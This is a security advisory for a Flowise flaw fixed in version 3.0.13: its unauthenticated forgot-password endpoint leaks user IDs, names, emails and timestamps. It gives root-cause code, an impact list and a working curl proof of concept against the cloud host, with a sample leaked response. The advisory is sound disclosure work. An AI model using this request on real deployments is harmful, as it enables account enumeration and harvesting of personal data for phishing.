GHSA-jc5m-wrp2-qq38 Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint

• npm flowise: < 3.0.13 → fixed in 3.0.13

Summary The `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address. Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor | | Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) | | Endpoint | `POST /api/v1/account/forgot-password` | | Authentication | None required | | CVSS 3.1 | 3.7 (Low) | Root Cause In `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment: ```typescript public async forgotPassword(data: AccountDTO) { // ... const user = await this.userService.readUserByEmail(data.user.email, queryRunner) if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND) data.user = user // ... password reset logic ... return sanitizeUser(data.user) // Returns user object with PII } ``` The `sanitizeUser` function only removes sensitive authentication fields: ```typescript export function sanitizeUser(user: Partial) { delete user.credential // password hash delete user.tempToken // reset token delete user.tokenExpiry return user // Still contains: id, name, email, status, createdDate, updatedDate } ``` Impact An unauthenticated attacker can: 1. Harvest PII: Collect user IDs, full names, and account metadata 2. Profile users: Determine account creation dates and activity patterns 3. Enumerate accounts: Confirm email existence and gather associated data 4. Enable further attacks: Use harvested data for social engineering or targeted phishing Exploitation ```bash curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \ -H "Content-Type: application/json" \ -d '{"user":{"email":"[email protected]"}}' ``` Evidence Request: ```http POST /api/v1/account/forgot-password HTTP/1.1 Host: cloud.flowiseai.com Content-Type: application/json {"user":{"email":"[email protected]"}} ``` Response (201 Created): ```json { "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12", "name": "Vefag naprb", "email": "[email protected]", "status": "active", "createdDate": "2026-01-17T15:21:59.152Z", "updatedDate": "2026-01-17T15:35:06.492Z", "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12", "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12" } ``` Exposed Data | Field | Risk | |-------|------| | `id` | Internal user UUID - enables targeted attacks | | `name` | Full name - PII disclosure | | `email` | Email confirmation | | `status` | Account state information | | `createdDate` | User profiling | | `updatedDate` | Activity tracking | | `createdBy` / `updatedBy` | Internal reference leak | Expected Behavior A secure forgot-password endpoint should return a generic response regardless of whether the email exists: ```json {"message": "If this email exists, a password reset link has been sent."} ``` References • CWE-200: Exposure of Sensitive Information • OWASP Authentication Cheat Sheet